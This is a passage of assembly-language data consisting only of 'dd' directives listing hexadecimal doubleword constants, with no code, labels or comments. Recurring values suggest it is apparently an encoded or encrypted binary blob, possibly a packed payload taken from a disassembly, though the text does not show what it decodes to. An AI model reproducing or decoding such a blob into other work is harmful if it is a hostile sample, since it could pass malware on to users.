		dd 8BC72766h, 8B81A19Ch, 27C62CCAh, 113B90A0h, 71711344h
		dd 87C5AA69h, 443206E8h, 223CFC66h, 5E9E1566h, 7533D856h
		dd 0DC5CFD5Dh, 11C7F08Bh, 0BD057D07h, 0DA529197h, 8EC4943Dh
		dd 431C511Fh, 229BA099h, 5C71344h, 6608E4E3h, 0F2CDED60h
		dd 0D8CAAD06h, 9CDB70E1h, 6D321566h, 0DF19CC79h, 773E75CBh
		dd 0EC36E471h, 0C871F992h, 43BAFD63h, 0B46190EFh, 6052134Fh
		dd 44321560h, 0D36FF866h, 5DAB994h, 4A321566h, 0A8F85D6Ah
		dd 1C1A70DFh, 4D99612Ch, 94C23006h, 1CD37789h, 0F2B3733Ch
		dd 0D7530599h, 0AA011CE3h, 55DB5A60h, 1321566h,	51EE5405h
		dd 3AEFC850h, 0C699471Eh, 19C3D19Fh, 24A2C10Eh,	35475F1h
		dd 0FFD394A4h, 43002697h, 229BA099h, 84DB1344h,	6C321566h
		dd 9E958F66h, 179C1C5Dh, 5675398h, 6608E4E3h, 25B81A60h
		dd 1E321566h, 883214E8h, 94CDE066h, 0A7BB7406h,	171BB031h
		dd 8832188Fh, 7CC7FD66h, 0FFD5412h, 0D7EF1C9Eh,	0DF43ADFh
		dd 4210266Fh, 223BFC29h, 6FC81566h, 0EE8F287Ah,	2CF85A80h
		dd 0DB5C1B64h, 70527506h, 88329969h, 0CF531566h, 97CD74B0h
		dd 171026CFh, 88339C69h, 0C9CE1566h, 8E4E3h, 0C1CDED60h
		dd 0D3B79C9Eh, 0AD343CC3h, 2232156Eh, 14D206C3h, 0FFF29482h
		dd 773B90A0h, 427F1344h, 79534E34h, 40056C2Fh, 44399A69h
		dd 44521566h, 0C1F8F3E7h, 58B7AC00h, 0ED87EA07h, 0DA343755h
		dd 2BC390EBh, 85DB1344h, 1321566h, 4BD1622h, 0B3D8F73Fh
		dd 4EFADA50h, 0ADE2EA9Eh, 22321569h, 5DD370DEh,	7A32053Eh
		dd 7EF9EB63h, 0AB4EF3B3h, 389776E3h, 883FFC60h,	650F1566h
		dd 0E7B10EE7h, 2F0A6A99h, 4E7A483Ch, 66011CE3h,	9C525860h
		dd 63A6D117h, 0C5BB7D07h, 0C452C991h, 2FDBC7A7h, 92321566h
		dd 7B5CD076h, 2AAACC7Ch, 65A5606Eh, 17B21A07h, 0E8321566h
		dd 25527406h, 8B87EA07h, 0E8343755h, 88321C8Fh,	24FC7266h
		dd 87D5AF01h, 94BF0839h, 8E102F97h, 44321A8Fh, 13233666h
		dd 0C2B57E42h, 0E4A69456h, 0FF117177h, 0A23DC599h, 11321562h
		dd 0E9EC9E06h, 24FEA706h, 3944FFD9h, 11BD1A29h,	0E9321566h
		dd 1BB79C07h, 2D343CC3h, 113212E0h, 3547566h, 25EF9FA1h
		dd 113B90A0h, 0E4671344h, 931F220Eh, 4DDB75FAh,	8B321566h
		dd 0F12AA801h, 0EE917EF6h, 44309869h, 43521566h, 9A527507h
		dd 35274A4h, 8AD8949Eh,	4334092Fh, 0B887EA07h, 7D343755h
		dd 7EC390EBh, 44521344h, 70C7CAEDh, 13DC599h, 44321567h
		dd 45B79C93h, 0F8343CC3h, 88321572h, 52030682h,	7605CA87h
		dd 48ECE2F5h, 345F45CCh, 65B7F15Fh, 22339D69h, 0D7C71566h
		dd 0AA011CE3h, 4BDB5660h, 0B3321566h, 3FAEF5D2h, 0CA218A2Ah
		dd 0E999260Ch, 85AC3E8h, 0F8E0C096h, 8832156Ch,	49B4D4BCh
		dd 374BF15Bh, 0A4CD880Fh, 8E1026CFh, 443B9269h,	42521566h
		dd 0C8B37307h, 87538AA0h, 443200E4h, 99547566h,	1BDB7DEAh
		dd 0C3321566h, 0F0A5391Ch, 0D0D23F38h, 94BF7443h, 8E102F97h
		dd 44339F69h, 0DDCB1566h, 94BBECB6h, 8E1BB00Dh,	44321A8Fh
		dd 670D2466h, 8AF91067h, 0B54F7825h, 1F0FB72h, 113B90A0h
		dd 0F8601344h, 8832156Eh, 884AC97Fh, 8D6DB2B5h,	5386FF0Eh
		dd 93BB1A9Bh, 24321566h, 33DA4F31h, 54321566h, 582140D6h
		dd 627C57A9h, 5A60AA0Ch, 161DB894h, 3DCD743Eh, 421026CFh
		dd 0F1B37306h, 16DB0B53h, 0DA321566h, 0B105A30Bh, 2D53BF6Bh
		dd 11321DECh, 8AB61A66h, 24321566h, 0D3B79807h,	0F834375Ch
		dd 88321575h, 870F47C4h, 723A76FAh, 0B1C0285Dh,	6A23D764h
		dd 0BBAF02D4h, 23BC1AB6h, 0E8321566h, 882B9569h, 50DB1566h
		dd 0AA321566h, 74CD1E19h, 0FD266778h, 0F3D3EB9Dh, 9A986461h
		dd 98E0D213h, 0AA32B8E3h, 51B71A60h, 42321566h,	0F9F49E00h
		dd 8832156Ch, 0D1E62A5Ch, 0D2AD6611h, 706B49D0h, 0BB3B90A0h
		dd 24751344h, 22321A8Eh, 0CA959A66h, 0E262C4D1h, 0E34E6EDFh
		dd 0A1613218h, 11329769h, 36A1566h, 48DB7494h, 0A0321566h
		dd 0E10F146Bh, 0E3E6A062h, 2C5587B1h, 0C0AA4CFFh, 112A9969h
		dd 9BDB1566h, 0CD321566h, 84BD9663h, 55896769h,	0BD42434Fh
		dd 0CB84E0C0h, 97CD2B55h, 171026CFh, 883E9E69h,	0C43D1566h
		dd 22321560h, 11329469h, 0DBF1566h, 42102F97h, 0EBB37306h
		dd 0A63DD9AAh, 58CD7490h, 86B8E006h, 4DB79C07h,	71343CC3h
		dd 88321A8Fh, 0F6670C66h, 0B5CCE06h, 0E4A1074Eh, 5DB83D17h
		dd 258FCAE6h, 113B90A0h, 0E8751344h, 7552D70Eh,	48DB75D7h
		dd 6D321566h, 7E854CB3h, 3A899500h, 14479E30h, 0D1EAAB00h
		dd 9A527439h, 7753EDACh, 6601BCD3h, 0A7BFE960h,	17102F97h
		dd 8ABA1A06h, 14321566h, 27B31A3Ch, 0AE321566h,	0D215B9BEh
		dd 0ADE2EA07h, 2232156Eh, 571CA394h, 0B715DF63h, 0E14190EFh
		dd 0E4CE134Fh, 33011CE3h, 9ADB5260h, 9E321566h,	0C70D04AFh
		dd 6531AE69h, 0CFA49444h, 94C5B029h, 0DC267DA5h, 9A3DCAC0h
		dd 8832157Fh, 72FA9406h, 0CB74E6AEh, 1132156Ah,	927F9791h
		dd 0F5D32515h, 0A37D9623h, 0B887EA07h, 61343755h, 44321576h
		dd 8583E6FDh, 7EE8A63Bh, 905BC3A5h, 66C5F28Ah, 25DA4506h
		dd 4A321566h, 64D7DF55h, 1A691C44h, 223C9E69h, 18DB1566h
		dd 6C321566h, 46F07880h, 39D0A5FAh, 0E0B79807h,	6134375Ch
		dd 44321560h, 0EFA3700Eh, 0C1CDFE3Eh, 883A9A69h, 0C5521566h
		dd 80F8D795h, 94BB7425h, 8E1BB011h, 4DB7D39Fh, 7D343755h
		dd 0E35A7D9Fh, 9528B36h, 32391197h, 0E0B37347h,	0EE537C75h
		dd 0AA01BCD3h, 0F9857560h, 0A33D749Ah, 11321573h, 69E6AB06h
		dd 4DDB289Ch, 0E0321566h, 1ECEF7E5h, 7B18F60Eh,	0B5B79807h
		dd 0DB34375Ch, 1EDBC599h, 8321566h, 0A65F1389h,	57B01A50h
		dd 0FEEF7DFFh, 80DBC5DBh, 6E321566h, 0F5BE8065h, 985CE35Bh
		dd 0A1976EE3h, 443FFC60h, 191566h, 27870BB8h, 0A4F02A5Eh
		dd 82BFC359h, 11CE3h, 9A525A60h, 0E9CB9EADh, 0B6B37306h
		dd 2CDB02C8h, 41321566h, 45DDB8D4h, 0F45316B0h,	0EB1D5A97h
		dd 2E5A74FAh, 61F5E91Dh, 44321569h, 0CC3AF4AFh,	911E88C8h
		dd 189E79A7h, 24188C21h, 0FECA76DFh, 70F89F64h,	0BB9BA099h
		dd 4EDB1344h, 93321566h, 0F309EAC7h, 6685CE2h, 8A8875E3h
		dd 97765B22h, 94BF7417h, 8E102F97h, 44321E8Fh, 0D19C9966h
		dd 5CD83ABCh, 0F237414h, 0CF52C599h, 43EA9FB0h,	0B49590EFh
		dd 0A3D134Fh, 44321577h, 2232198Fh, 0FEA68F66h,	91A4DE2Ch
		dd 0E6C75F7Fh, 2BB7D321h, 56343755h, 883E9869h,	0C33D1566h
		dd 22321560h, 11329669h, 0C45A1566h, 4BC84E08h,	22321EE2h
		dd 1134FC66h, 98571566h, 0B3201111h, 119BA099h,	933D1344h
		dd 88321564h, 4BDB7406h, 0FA321566h, 7CC83857h,	6A1483E8h
		dd 0D54EB827h, 0A7BF3A60h, 17102F97h, 79B2E006h, 94CD74A0h
		dd 22321E8Fh, 39ED366h,	0D8665329h, 20313E71h, 879990EFh
		dd 0D7CB134Fh, 0AA011CE3h, 2CC75260h, 0E13431ABh, 0A4CDE993h
		dd 8E1026CFh, 4432048Fh, 0F7790B66h, 1F80362Bh,	5E006419h
		dd 723221BCh, 0A7BFF1FBh, 17102F97h, 8820FC06h,	99BA1566h
		dd 0FC53FCA9h, 22993C65h
		dd 3FAA5DFCh, 0A09FAC02h, 2C08DAE7h, 0EE535E8Bh, 883FFCB6h
		dd 0F5691566h, 3F5006D9h, 6F2CACC1h, 178173Eh, 6D97BAE3h
		dd 2237FC60h, 0D3321566h, 4EBDEFF1h, 66011CE3h,	2EDB4A60h
		dd 0FC321566h, 0B87389Ch, 27AD8919h, 4A36C23Bh,	0C58975AAh
		dd 88249269h, 55DB1566h, 3B321566h, 158B7801h, 76B9740Ah
		dd 51883897h, 18699ECAh, 229BA099h, 23D1344h, 44321567h
		dd 0D3B7989Ah, 0F834375Ch, 88321561h, 38E4A932h, 0DD59EE16h
		dd 298775B6h, 0F7B79C07h, 0AD343CC3h, 2232156Eh, 620711Ch
		dd 0F118749Bh, 40B21A06h, 44321566h, 0F83459D9h, 8832156Bh
		dd 9D54B3A2h, 191484FAh, 0DDA87ADDh, 0DF47493h,	4210266Fh
		dd 2223FC39h, 5C581566h, 24080594h, 9A7F0BC0h, 3481CC71h
		dd 796F7845h, 16DB4128h, 4432128Fh, 66D15766h, 35F40BF7h
		dd 0BB9BA099h, 14521344h, 0FC1DCFE7h, 0AA6832E9h, 0A4B5AD38h
		dd 0B5B79807h, 0CB34375Ch, 11321575h, 235E53F1h, 38384BF2h
		dd 0B119D2C2h, 69318A1Ah, 77D13B3Bh, 0C1BBEDB6h, 241BB0E5h
		dd 18B7D39Ah, 0D7343755h, 44BB1A06h, 0CB321566h, 11321560h
		dd 0AB703781h, 2C53AE9Fh, 0F3213D2Eh, 113A9069h, 33D1566h
		dd 44321564h, 0A33D7406h, 11321567h, 2187EA9Eh,	24343755h
		dd 2232058Eh, 0D4F9FA66h, 0D4ECE591h, 3A66A143h, 5B3A17D0h
		dd 11B31AD7h, 0D0321566h, 44349869h, 0A23D1566h, 11321566h
		dd 79B79807h, 2434375Ch, 2238FD06h, 371F1566h, 0C3011F29h
		dd 7B6F6EEEh, 43D99F3Fh, 709BD6E6h, 252C599h, 0D31CAB8Dh
		dd 0AB53742Dh, 389792E3h, 883DFC60h, 24F71566h,	991A4D92h
		dd 126672BCh, 2D7C2679h, 4439FC26h, 11DA1566h, 51730A47h
		dd 0BC212C03h, 24367F7Dh, 2232058Fh, 9176B166h,	891E398Fh
		dd 2860A48h, 4582D255h,	0D2851AECh, 8822FC07h, 0EF0C1566h
		dd 720D4368h, 0C5554F0Eh, 2BEC73Bh, 445A0967h, 0DA321576h
		dd 1122150Eh, 83B61A66h, 24321566h, 60B142D9h, 258A7338h
		dd 8858744Fh, 44321C8Fh, 5D386666h, 1005777Bh, 1DCDBE61h
		dd 42100E3Fh, 2232018Fh, 18201B66h, 483E4F71h, 63582B2Eh
		dd 9A262279h, 0EF3ECD49h, 25B79C6Ah, 0B134377Eh, 4DD690EBh
		dd 7752134Fh, 8C652DEh,	0B85344ABh, 48CAC599h, 0AA547562h
		dd 58B97BF0h, 54327D07h, 31DB1566h, 93321566h, 4FB340A8h
		dd 397A0098h, 0D88349CCh, 0E80DE07Fh, 885ACAB9h, 0B8321546h
		dd 7452150Ch, 4EFDAA69h, 0E9E29E00h, 5F6B8099h,	0A13D1344h
		dd 11321575h, 88321B8Fh, 68E4F966h, 0C4BA6595h,	0C381C0AFh
		dd 1A6EC54h, 66291CE3h,	2238FC60h, 24301566h, 0D36DA656h
		dd 7E85ABF8h, 36A790EFh, 7BC71344h, 885AEC26h, 4B321576h
		dd 223219E6h, 17B01A66h, 87321566h, 443215EBh, 22327D66h
		dd 7BCB1567h, 0BE8A7566h, 25444769h, 396B8099h,	98CB1344h
		dd 0AA035CE3h, 0A6B37560h, 89A3158h, 933D7493h,	8832156Dh
		dd 4432138Fh, 66CB1766h, 9A469EA1h, 0AA1EC0D3h,	443AFC60h
		dd 2F841566h, 575D820Bh, 61524392h, 44321568h, 5671C1CBh
		dd 0C9546284h, 1ED95A6Bh, 0CF54D21Fh, 0BFB9749Dh, 17103497h
		dd 3F3DE006h, 0F1BB749Fh, 2410207Fh, 1132068Fh,	32A33D66h
		dd 8C0F5C07h, 77CE0542h, 60DBAA61h, 0D84AE92h, 6C1F88EFh
		dd 0A9CB1344h, 3313E4FBh, 81DBEC60h, 95321566h,	719A9BA1h
		dd 442687B4h, 35672699h, 2CCB16ACh, 26167957h, 0E0B34C3Bh
		dd 0E0CB16ACh, 44339869h, 0A1CA1566h, 953D159Fh, 88322D85h
		dd 45B51A06h, 0DB321566h, 0F6BB4207h, 8836D2E7h, 0ABB11566h
		dd 60E9262h, 35369C3Ah,	88339F69h, 17CE1566h, 0E1B3F6EFh
		dd 11321562h, 8836FEE7h, 58B51566h, 2EBB4942h, 0AF547542h
		dd 80DA5F75h, 0EE321566h, 175A3454h, 480C6D68h,	0B9CE7507h
		dd 0C1BBECA6h, 24103913h, 0AB60449Eh, 8832155Ah, 0CD68C4EFh
		dd 28DB4CA8h, 0B2321566h, 0B787643Eh, 0D86FD3DFh, 54894693h
		dd 0E64F8F60h, 8DD1D4B5h, 6A5DE6E7h, 0FC1B6FC6h, 3546163Dh
		dd 0C7F49446h, 0B8040A79h, 2D52B800h, 4652CAD9h, 88B01A38h
		dd 25321566h, 2220FC07h, 5FA11566h, 0C456C9A3h,	1C5F212Bh
		dd 0A7E432EDh, 58F4F86Dh, 0B102C24Bh, 60761669h, 0B28D4246h
		dd 90125728h, 0F34C5291h, 1BCA1449h, 223E9F69h,	973D1566h
		dd 88321560h, 44329969h, 0A03D1566h, 1132156Ah,	88349469h
		dd 0C53D1566h, 22321566h, 904A6599h, 0A0B53152h, 156C0787h
		dd 0C31A92DFh, 48FC2474h, 8832068Fh, 0BE5FBB66h, 9F5CF2CBh
		dd 73D1B5FFh, 2EEC6F2Bh, 4D70550Eh, 7432AF34h, 0E3B3558Bh
		dd 9D821C86h, 4768C34Fh, 0A3123112h, 4C6DF5A0h,	89B91A33h
		dd 0B1321566h, 0A92A6399h, 0D5B1315Ah, 82BD1A62h, 0AD321566h
		dd 22321563h, 0E9B2B87Bh, 158F9C04h, 0AD343740h, 22321560h
		dd 1800D7DBh, 77B72211h, 44189069h, 0CACE1566h,	11324AA5h
		dd 9ABE1A06h, 0AD321566h, 2232156Bh, 7B03AAF9h,	0F2158AE6h
		dd 91B9E3A6h, 438D736Bh, 5DB74C3h, 7D321563h, 4407E00Eh
		dd 63E9C66h, 11239269h,	8521566h, 43DB2488h, 6C321566h
		dd 0DDFB6A30h, 9532234h, 4432118Ah, 60E9C66h, 0B61639E7h
		dd 0D2566477h, 5595D7E7h, 49CA7117h, 98C711B4h,	0AA06D8F3h
		dd 56B61A60h, 0CB321566h, 1132156Bh, 32067122h,	1EDB73D0h
		dd 0EF313748h, 1E367F44h, 883214EBh, 445AED66h,	0DB321576h
		dd 90D39C37h, 883211A7h, 40DB9666h, 7E1619E1h, 711601EFh
		dd 0A5C59400h, 2585A01Bh, 0A83D150Ch, 11321567h, 89B21A9Fh
		dd 0B8321566h, 396B8099h, 91521344h, 8FDAE58Ah,	48321566h
		dd 214677EEh, 0A63D3899h, 87534E90h, 443214EBh,	0A7BBED66h
		dd 17101797h, 88339C69h, 17C71566h, 0F8BBD6EFh,	921609EDh
		dd 87CB11A2h, 443214E5h, 2EB9E966h, 0F1BB4542h,	88321163h
		dd 40F29666h, 7E1611E1h, 4F83FD93h, 0E8C71566h,	44349C69h
		dd 0AD3D1566h, 11321566h, 375A749Fh, 0CD32154Ah, 9B523152h
		dd 23DA6DDBh, 9F497DDEh, 249F742Eh, 22321C8Eh, 0F364AE66h
		dd 1D659777h, 0B7B8576Eh, 2235FC3Ch, 19AF1566h,	0FD0523BCh
		dd 0AC52745Ah, 22321563h, 477D3764h, 6FB37328h,	4B6CAD96h
		dd 223218E7h, 113AFC66h, 0FB971566h, 9EDE2823h,	0F53D164h
		dd 5C4B7C77h, 0AC165165h, 2D23AE35h, 0FA33581Fh, 0E903E03Dh
		dd 7003D257h, 44321F8Fh, 28CCF766h, 0F7FB1C7Ah,	0DF3014DEh
		dd 0FE1639E7h, 794E5F01h, 7688A833h, 6333692Ch,	0C554753Bh
		dd 0CA018BBCh, 1132156Eh, 7865A2D7h, 74382F18h,	0F65A7438h
		dd 98321537h, 8752315Ah, 8FB3E6D1h, 7A98A6A8h, 0EDF22507h
		dd 7547BB93h, 4432018Fh, 0F17C6C66h, 311B036Fh,	5CBFF1E7h
		dd 0F5C46385h, 0EF109D2Ah, 25CDEC8Dh, 4CB14B42h, 40B71A62h
		dd 42321566h, 90534C36h, 6774E189h, 17ED3C7Fh, 0D5154EDDh
		dd 90795623h, 21F2FADh,	3DF19439h, 238BE571h, 903D4EB9h
		dd 88321567h, 0CD61ED9Ah, 26F19485h, 90321566h,	8832118Dh
		dd 602E9266h, 6269C3Ah,	113E9B69h, 0F3D1566h, 44321560h
		dd 22329B69h, 90651566h, 0D72F3152h, 17685F9Fh,	9910CFDDh
		dd 14D9D431h, 0F1CBFEE7h, 9E03A2A2h, 2237FC3Dh,	0A4151566h
		dd 3B17BF3h, 662AB8DBh,	2239FC60h, 574A1566h, 41960BD9h
		dd 193F33EDh, 0DDCDACB7h, 5DBEA99h, 0B6321566h,	0EF5E53F1h
		dd 5E384BF2h, 8219D2C2h
		dd 0F0318A1Ah, 75D13B3Bh, 2226FCA6h, 2C341566h,	3E200889h
		dd 0F0C0FCE8h, 32F6076Dh, 0E8A5023Ah, 64B333A1h, 44321562h
		dd 991609EFh, 11321566h, 8BB8E667h, 443FFC3Dh, 0FE141566h
		dd 4548B6F9h, 70C7272h,	74D18E4Dh, 23B31AAEh, 0E8321566h
		dd 77CDAA31h, 0BA1BEA99h, 953D7539h, 7015A1B4h,	0D0B52199h
		dd 443E9F69h, 0AE3D1566h, 11321560h, 88329A69h,	0ADF31566h
		dd 0E303EC6Eh, 0EAB97306h, 882A9A69h, 57DB1566h, 0CC321566h
		dd 694C2B92h, 0C4019068h, 561CDF14h, 0FC27A90Fh, 5B536189h
		dd 77539069h, 0CE52EA99h, 73637485h, 0E078D6DFh, 0AC7E3C38h
		dd 416A4C62h, 7CC35FA5h, 0D8B37306h, 3254CA43h,	2C53C168h
		dd 22322288h, 0E61611EFh, 616A3172h, 4432156Dh,	10EE5E91h
		dd 0A2E2D275h, 32C5919h, 0CD673172h, 26F79483h,	92321566h
		dd 0A4B511A3h, 0C53D4942h, 22321561h, 488EAD06h, 0DB5376A0h
		dd 443215DDh, 91F19466h, 10430942h, 3BD994B5h, 0CD430942h
		dd 0AB3D4E65h, 11321567h, 8C8A459Ah, 45321566h,	6369EA4h
		dd 1136D1E7h, 61521566h, 44321576h, 91166C93h, 0B66C6E15h
		dd 0F6EAB4C6h, 0B8437434h, 7353C5ECh, 0D0B3F4EFh, 88321562h
		dd 4436FCE7h, 2EB51566h, 5BB4942h, 883FFC42h, 54B1566h
		dd 88503BFCh, 9DF423ADh, 71D8D5B8h, 68479099h, 25DB1344h
		dd 0C1321566h, 44B744D2h, 0D1B95D28h, 24103913h, 112F9769h
		dd 63D1566h, 44321571h,	2232078Fh, 0AC5CF266h, 0EAD1B5FFh
		dd 0E2EC6F2Bh, 2B70550Eh, 28589F81h, 0AA1488F3h, 0C3B61A60h
		dd 0CB321566h, 11321576h, 9709D8Ah, 0C0526D0h, 37637169h
		dd 1F2608F7h, 0D2162199h, 4436D1E7h, 2CDB1566h,	5B321566h
		dd 0C2D3AE03h, 64962CBh, 8F509624h, 3506EAB9h, 8CF69438h
		dd 24321566h, 22309F69h, 16811566h, 722FAB00h, 0E7894607h
		dd 695AF913h, 5279CE91h, 0FD94D6E7h, 9A337D8Ah,	2238FC3Dh
		dd 50E81566h, 28E16293h, 3A0BD33Bh, 0DDCE508Fh,	1EBE1A99h
		dd 61321566h, 4432156Ch, 119CD903h, 88837849h, 9CB9638Ah
		dd 0A5BB4442h, 2236D4E7h, 0D0B31566h, 88321562h, 181619E1h
		dd 6069E9Eh, 90D39C37h,	883211A7h, 40F39466h, 0A5321566h
		dd 0F86E316Ah, 88321575h, 0C7F1DF3Fh, 0BE397B8Bh, 8C66A0Dh
		dd 0C1069C79h, 2528044Ch, 2232048Fh, 0FDED4566h, 0AD9CB31Ah
		dd 0EA9BA858h, 2E154400h, 25CD91D9h, 4CB14C42h,	0FE547562h
		dd 0C2B31526h, 57840F5h, 0AC06EA07h, 40F6963Eh,	0FB7D293h
		dd 11343760h, 0E8321566h, 1CA1E2E7h, 43CE609Bh,	1EF390A1h
		dd 88321344h, 4CDB1566h, 13321566h, 6C438580h, 0BC6237Fh
		dd 6D96FADBh, 0A63D1560h, 11321540h, 56B37306h,	92B9C96Ah
		dd 55AF9807h, 1E343DDCh, 883214EAh, 97CDEC66h, 21BC1A06h
		dd 1E321566h, 373DDFD1h, 0C1CD74AFh, 24102643h,	348F969Ah
		dd 0EC343755h, 46449769h, 0A9521566h, 76DD94ACh, 0E970ACA6h
		dd 771790A1h, 22331344h, 14DB1566h, 21321566h, 36A4A79Dh
		dd 223CFC06h, 67A81566h, 8E0C5979h, 7D75E68h, 83B2D931h
		dd 943D7507h, 88321561h, 0C4537506h, 0D75367A6h, 82B090EBh
		dd 63D134Fh, 4432156Ch,	2232108Fh, 2AC4A566h, 77C7F90Dh
		dd 4B52E0B6h, 223213EBh, 11B01A66h, 61321566h, 44321563h
		dd 0C2B4BF59h, 0A4BF7418h, 8E1BB0D9h, 443E9069h, 44521566h
		dd 0D679DEE7h, 7B28CBDCh, 0F9BF745Dh, 24182517h, 1135FC9Fh
		dd 97911566h, 0CC8705F5h, 28F59453h, 3807D31Fh,	828F4091h
		dd 6D07D31Fh, 0AB3D4889h, 1132156Eh, 0EE72A506h, 25AFE4DCh
		dd 6269E31h, 1136D1E7h,	85DB1566h, 0FF321566h, 0C91F3D3Ch
		dd 0A2C3395Ah, 3A2C3028h, 5C9FA8EDh, 9BCB1344h,	0EECDEA99h
		dd 0E8F22493h, 4BC59E00h, 0D753CED9h, 1132AF34h, 7A331566h
		dd 4432AE35h, 0F1331566h, 4B6916ECh, 89B01A06h,	0BC321566h
		dd 2232058Eh, 8A7C2466h, 0D09EE1C2h, 89383C96h,	542479A5h
		dd 4AF99E25h, 71FA2507h, 443A9B69h, 0AF3D1566h,	11321564h
		dd 37657406h, 0BBCDEA99h, 0DE6DEB4Fh, 96369E93h, 88321A8Fh
		dd 70221966h, 0DEA7A620h, 0CB590C8Eh, 1DD7C51h,	4B3AFCA7h
		dd 22321FE8h, 1137FC66h, 15DA1566h, 751B9B90h, 2AB81AA7h
		dd 1E321566h, 883217EEh, 0E537566h, 0DD519069h,	0F952EA99h
		dd 8832156Eh, 0BC905965h, 0E8D32E72h, 0A63D4B9Eh, 0D86374BEh
		dd 7F1A32DEh, 6761449h,	3C6A4D62h, 0A7093D41h, 4432078Fh
		dd 3A493066h, 77F82F58h, 0C6D26393h, 82B6B472h,	72DA66D4h
		dd 0E61611E1h, 0AC3692B6h, 443BFC3Eh, 0FF8B1566h, 0D38550h
		dd 0B1982E61h, 6629D0E3h, 0A6B61A60h, 0E8321566h, 0E9BBAB30h
		dd 0B4BB0C63h, 25D2D438h, 0A1F6954Bh, 4839E0E4h, 441A9069h
		dd 0CBCA1566h, 11321563h, 2A6FB1C4h, 79B7D2F9h,	23343763h
		dd 0F8321566h, 88321568h, 0CC4EDB2Dh, 48507B14h, 26B330B5h
		dd 306240B0h, 551D69BAh, 0E331FDA7h, 0AC67178Eh, 8C277793h
		dd 0C53AF0A7h, 22243DABh, 12DFD430h, 0B4BBF8E7h, 0AC031F52h
		dd 7AF3143Bh, 1132078Fh, 0D8897B66h, 5C50D1B2h,	0FE3DA5D9h
		dd 0DE54E1F0h, 0E9045C1Eh, 44349E69h, 0A9521566h, 7053759Fh
		dd 8836F9E7h, 40BB1566h, 0D3DFAD42h, 0D0BB0BD0h, 883AFC3Eh
		dd 994A1566h, 0D586319h, 0FDB30ADCh, 88321562h,	0FD1619EFh
		dd 0A026DB3h, 0E2BED4DCh, 0D1F82426h, 44321B8Fh, 0CCE63766h
		dd 94CCBE4h, 0E15B2C8Dh, 0BD1A2DDFh, 2221FCCBh,	85401566h
		dd 0C978F821h, 0AAB20623h, 60FECC90h, 9CC08DFBh, 91879C44h
		dd 4B343753h, 223214E3h, 0AE65E066h, 0C37B5608h, 0F8A0D2E7h
		dd 5CBBA1D0h, 350E9E9Ah, 8836D1E7h, 4FDB1566h, 0F3321566h
		dd 0A4284277h, 469C946Ch, 0AA0F278Fh, 2DDCFB88h, 1132E6E3h
		dd 91BB1A66h, 0AD321566h, 22321572h, 0F0E97CCDh, 76AEC50Ch
		dd 0DF7DA87Ah, 0B62F04D1h, 7B01EEBEh, 55EF2BE7h, 0C13DC8BBh
		dd 223215AEh, 11321D8Fh, 4C502D66h, 0B6829986h,	0EC8F4033h
		dd 0D0256D5Eh, 4DB31783h, 16074D2Bh, 0D7B3C091h, 5EDBD11Ch
		dd 0A4B93BEFh, 40F69442h, 2D321566h, 11320CEFh,	8826FC66h
		dd 876C1566h, 550BD411h, 62413E01h, 1E5D72DDh, 4FE12573h
		dd 75629165h, 113211D9h, 0D7CA9C66h, 4B6AD367h,	223214EAh
		dd 0A4BBE966h, 8E10207Fh, 443E9369h, 25DB1566h,	5F321566h
		dd 0CEE241A0h, 0CD3D2A21h, 22321579h, 11BE1A06h, 60321566h
		dd 44321577h, 0DDD07949h, 9E9F47D4h, 3ACEA246h,	0F0A3AFC7h
		dd 0CB534D86h, 113239F4h, 8823FC06h, 73251566h,	17BFC2FAh
		dd 907228F7h, 0D0F6162h, 2513A106h, 0DDCC668Fh,	10BF1A99h
		dd 71321566h, 60069436h, 34C94D93h, 0E48A453Dh,	0B924EE3Eh
		dd 4B524DA5h, 223213E6h, 11B61A66h, 0E9321566h,	410F9055h
		dd 43521344h, 11321E8Fh, 2C5F1D66h, 9AD7F9F0h, 1FBB33D9h
		dd 0F831DDA7h, 88321576h, 71AA5A4h, 6D5BC20Eh, 0A8E934F1h
		dd 1DEB744Ch, 0D02F4C63h, 70E23C2Fh, 852F4CDCh,	0D2E23C2Fh
		dd 4432058Fh, 7CFB0466h, 0F2217B43h, 29C6D201h,	6793B882h
		dd 32F2D400h, 0F8FA249Ah, 8832156Eh, 1F47615Ah,	7EDDE39Ah
		dd 0D28D4506h, 0D700506Fh, 25EBAA69h, 270F88EFh, 77521344h
		dd 0EE2832D8h, 2556F9DCh, 2332155Bh, 0EDB11A66h, 7D321567h
		dd 0FF892BE7h, 0A73DAEDDh, 11321489h, 88321D8Fh, 0BDE40666h
		dd 0D4FB6CD6h, 0C734D274h
		dd 94BBE40h, 4F537748h,	0AE34942Dh, 0E8E3755Ch,	88359269h
		dd 4B521566h, 7D62EFD9h, 0AB604007h, 88321562h,	4568C0EFh
		dd 0A53D4888h, 11321567h, 91879C9Eh, 4B343753h,	22320CE3h
		dd 1126FC66h, 0C9F31566h, 5CFA34F4h, 5F70F963h,	2D8E0F8Ah
		dd 0DEE8BD69h, 0D9B93845h, 24103497h, 11321B8Fh, 0D5CDE666h
		dd 0ED04113Dh, 4819B537h, 909897E4h, 8832118Ah,	60269C66h
		dd 223215DCh, 9AE81466h, 83D4F6Ch, 44321567h, 26B3459Ah
		dd 162A5A42h, 35674F51h, 61DA5FF8h, 0EF83D0E7h,	0FB1B0478h
		dd 9CDB753Bh, 7D321566h, 0A6154C83h, 0D7F05C9Ah, 0A360EDB6h
		dd 0B21CB39Ah, 993AAC7Fh, 63F920EBh, 85DB7507h,	0CA321566h
		dd 0EEC0440Dh, 0FA7F0ABh, 3D378644h, 44249469h,	0CB521566h
		dd 1132156Fh, 640845E7h, 90B26C6Fh, 7DE59412h, 700AF5C3h
		dd 8836F9E7h, 50BB1566h, 0AF3D4D42h, 1132156Ch,	43B37306h
		dd 0FB3DC510h, 2DDB74AEh, 3E321566h, 6BA336BCh,	0D644423Bh
		dd 52C64DD6h, 9419DDE5h, 8E10274Bh, 46D2D49Fh, 2232018Fh
		dd 81E17266h, 490A4D42h, 103DAD12h, 72E2BB4Dh, 813FBEB5h
		dd 99B71638h, 0AD343770h, 22321563h, 0DBF86379h, 0B9C224F0h
		dd 0ADC224A0h, 22321563h, 78EE2DEBh, 87C7B8F0h,	443210E4h
		dd 0F4B27566h, 0B41F74D8h, 8932D005h, 0DB8F40AEh, 0A325982Eh
		dd 0DD39B78Bh, 9E7E27Ah, 3D6D488Bh, 7FDA1462h, 1138FC9Ah
		dd 7E671566h, 569ED3B0h, 72665329h, 0D1651EFh, 88321C8Fh
		dd 876C2A66h, 550BD411h, 0F8533E01h, 8832156Bh,	2431523Ch
		dd 8B6E1764h, 6213AA69h, 8AC2FC67h, 50DB1566h, 76321566h
